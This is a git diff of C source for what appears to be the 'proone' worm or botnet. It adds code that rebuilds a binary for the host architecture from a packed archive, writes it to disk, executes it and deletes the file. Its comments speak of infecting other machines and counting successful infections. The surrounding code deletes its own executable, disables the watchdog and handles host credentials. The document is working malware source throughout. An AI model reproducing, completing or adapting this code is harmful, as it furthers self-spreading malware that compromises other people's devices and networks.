+ const uint8_t *m_dv, *m_ba;
+ size_t dv_len, ba_len;
+ prne_pack_rc_t prc;
+ int fd = -1;
+ ssize_t f_ret;
+ size_t path_len;
+
+ prne_init_bin_archive(&ba);
+ prne_init_bin_rcb_ctx(&rcb);
+
+ if (nybin_len < 8) {
+ goto END;
+ }
+ dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]);
+ if (8 + dv_len > nybin_len) {
+ goto END;
+ }
+ m_dv = m_nybin + 8;
+ m_ba = m_nybin + 8 + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT);
+ ba_len = nybin_len - (m_ba - m_nybin);
+
+ prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+ if (prc != PRNE_PACK_RC_OK) {
+ goto END;
+ }
+ prc = prne_start_bin_rcb(
+ &rcb,
+ prne_host_arch,
+ PRNE_ARCH_NONE,
+ NULL,
+ 0,
+ 0,
+ m_dv,
+ dv_len,
+ &ba);
+ if (prc != PRNE_PACK_RC_OK) {
+ goto END;
+ }
+
+ path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len);
+ exec = prne_alloc_str(path_len);
+ if (exec == NULL) {
+ goto END;
+ }
+ strcpy(exec, path);
+ prne_dvault_reset();
+ fd = open(
+ exec,
+ O_WRONLY | O_CREAT | O_TRUNC,
+ 0700);
+ if (fd < 0) {
+ goto END;
+ }
+ chmod(exec, 0700);
+
+ do {
+ f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL);
+ if (f_ret < 0) {
+ goto END;
+ }
+ if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) {
+ goto END;
+ }
+ } while (prc != PRNE_PACK_RC_EOF);
+
+ ret = exec;
+ exec = NULL;
+
+END:
+ prne_dvault_reset();
+ if (exec != NULL && fd > 0) {
+ unlink(exec);
+ }
+ prne_free(exec);
+ prne_free_bin_archive(&ba);
+ prne_free_bin_rcb_ctx(&rcb);
+ prne_close(fd);
+
+ return ret;
+}
+
+static void do_exec (const char *exec, char **args) {
sigset_t old_ss;
bool has_ss;
@@ -691,7 +928,8 @@ static void run_ny_bin (void) {
deinit_shared_global();
has_ss = sigprocmask(SIG_UNBLOCK, &ss_all, &old_ss) == 0;
- // TODO
+ execv(exec, args);
+ prne_dbgperr("** exec()");
// exec() failed
// Restore previous condifion
@@ -701,11 +939,82 @@ static void run_ny_bin (void) {
init_shared_global();
}
+static void run_ny_bin (void) {
+ const uint8_t *m_nybin = NULL;
+ size_t nybin_len = 0;
+ off_t ofs;
+ int fd = -1;
+ char **args = NULL;
+ char *add_args[1] = { NULL };
+
+ fd = open(prne_s_g->ny_bin_path, O_RDONLY);
+ unlink(prne_s_g->ny_bin_path);
+ prne_s_g->ny_bin_path[0] = 0;
+ if (fd < 0) {
+ goto END;
+ }
+ ofs = lseek(fd, 0, SEEK_END);
+ if (ofs < 0) {
+ goto END;
+ }
+ nybin_len = (size_t)ofs;
+
+ m_nybin = (const uint8_t*)mmap(
+ NULL,
+ nybin_len,
+ PROT_READ,
+ MAP_SHARED,
+ fd,
+ 0);
+ close(fd);
+ fd = -1;
+ if (m_nybin == MAP_FAILED) {
+ m_nybin = NULL;
+ goto END;
+ }
+ add_args[0] = do_recombination(m_nybin, nybin_len);
+ if (add_args[0] == NULL) {
+ goto END;
+ }
+
+ add_args[0] = add_args[0];
+ args = prne_htbt_parse_args(
+ prne_s_g->ny_bin_args,
+ sizeof(prne_s_g->ny_bin_args),
+ 1,
+ add_args,
+ NULL,
+ SIZE_MAX);
+ if (args == NULL) {
+ goto END;
+ }
+ do_exec(args[0], args);
+
+END:
+ prne_close(fd);
+ if (m_nybin != NULL) {
+ munmap((void*)m_nybin, nybin_len);
+ }
+ if (add_args[0] != NULL) {
+ unlink(add_args[0]);
+ prne_free(add_args[0]);
+ }
+ prne_free(args);
+}
+
int main (const int argc, const char **args) {
static int exit_code;
static bool loop = true;
+ // done with the terminal
+ close(STDIN_FILENO);
+#ifndef PRNE_DEBUG
+ // Some stupid library can use these
+ close(STDOUT_FILENO);
+ close(STDERR_FILENO);
+#endif
+
sigemptyset(&ss_exit);
sigemptyset(&ss_all);
sigaddset(&ss_exit, SIGINT);
@@ -716,12 +1025,10 @@ int main (const int argc, const char **args) {
sigaddset(&ss_all, SIGPIPE);
prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
- prne_g.resolv = NULL;
prne_g.parent_pid = getpid();
- prne_g.child_pid = 0;
+ prne_g.blackhole[0] = -1;
+ prne_g.blackhole[1] = -1;
prne_g.shm_fd = -1;
- prne_g.bin_ready = false;
- prne_g.is_child = false;
prne_init_bin_archive(&prne_g.bin_archive);
mbedtls_x509_crt_init(&prne_g.ssl.ca);
prne_mbedtls_entropy_init(&prne_g.ssl.entpy);
@@ -730,12 +1037,11 @@ int main (const int argc, const char **args) {
mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
mbedtls_pk_init(&prne_g.s_ssl.pk);
mbedtls_dhm_init(&prne_g.s_ssl.dhm);
- prne_g.s_ssl.ready = false;
mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
mbedtls_pk_init(&prne_g.c_ssl.pk);
- prne_g.c_ssl.ready = false;
+ open_blackhole();
init_proone(args[0]);
/* inits that need outside resources. IN THIS ORDER! */
@@ -750,22 +1056,11 @@ int main (const int argc, const char **args) {
delete_myself(args[0]);
disasble_watchdog();
-
- // load data from stdin
if (argc > 1) {
set_host_credential(args[1]);
}
- // done with the terminal
- close(STDIN_FILENO);
-#ifndef PRNE_DEBUG
- // Some stupid library can use these
- close(STDOUT_FILENO);
- close(STDERR_FILENO);
-#endif
-
sigprocmask(SIG_BLOCK, &ss_all, NULL);
-
// main loop
while (loop) {
prne_g.child_pid = fork();
@@ -812,9 +1107,10 @@ int main (const int argc, const char **args) {
prne_dbgpf("* Detected new bin. Attempting to exec()\n");
run_ny_bin();
// run_ny_bin() returns if fails
- prne_dbgperr("** run_ny_bin() failed");
}
- break;
+ else {
+ break;
+ }
}
}
else if (WIFSIGNALED(status)) {
@@ -823,7 +1119,7 @@ int main (const int argc, const char **args) {
if (has_ny_bin) {
unlink(prne_s_g->ny_bin_path);
- prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path));
+ prne_s_g->ny_bin_path[0] = 0;
}
sleep(1);
@@ -833,6 +1129,7 @@ int main (const int argc, const char **args) {
prne_g.shm_fd = -1;
prne_g.is_child = true;
prne_g.child_start = prne_gettime(CLOCK_MONOTONIC);
+ prne_g.child_pid = getpid();
exit_code = proone_main();
break;
@@ -842,23 +1139,21 @@ int main (const int argc, const char **args) {
END:
prne_free_bin_archive(&prne_g.bin_archive);
- prne_g.bin_ready = false;
mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
mbedtls_pk_free(&prne_g.s_ssl.pk);
mbedtls_dhm_free(&prne_g.s_ssl.dhm);
- prne_g.s_ssl.ready = false;
mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
mbedtls_pk_free(&prne_g.c_ssl.pk);
- prne_g.c_ssl.ready = false;
mbedtls_x509_crt_free(&prne_g.ssl.ca);
mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
mbedtls_entropy_free(&prne_g.ssl.entpy);
deinit_shared_global();
deinit_proone();
+ close_blackhole();
return exit_code;
}
diff --git a/src/proone.h b/src/proone.h
index cbd1cd9..a3aac4d 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,6 +1,7 @@
#pragma once
#include "pack.h"
#include "resolv.h"
+#include "htbt.h"
#include <stdint.h>
#include <stdbool.h>
@@ -23,15 +24,16 @@ struct prne_global { // TODO: tidy init code when finalised
* Could be NULL. Just keep infecting other machines without it.
*/
prne_resolv_t *resolv;
+ prne_htbt_t *htbt;
pid_t parent_pid;
pid_t child_pid;
- int shm_fd;
uint8_t *m_dvault;
const uint8_t *m_exec;
size_t exec_size;
const uint8_t *m_exec_dvault;
+ int blackhole[2];
+ int shm_fd;
uint16_t dvault_size;
- bool bin_ready;
bool is_child;
prne_bin_archive_t bin_archive;
@@ -65,7 +67,7 @@ struct prne_shared_global {
uint64_t bne_cnt;
// Number of successful infections.
uint64_t infect_cnt;
- // null-terminated name of new binary
+ // null-terminated path to the new binary image
char ny_bin_path[256];
char ny_bin_args[1024];
size_t host_cred_len;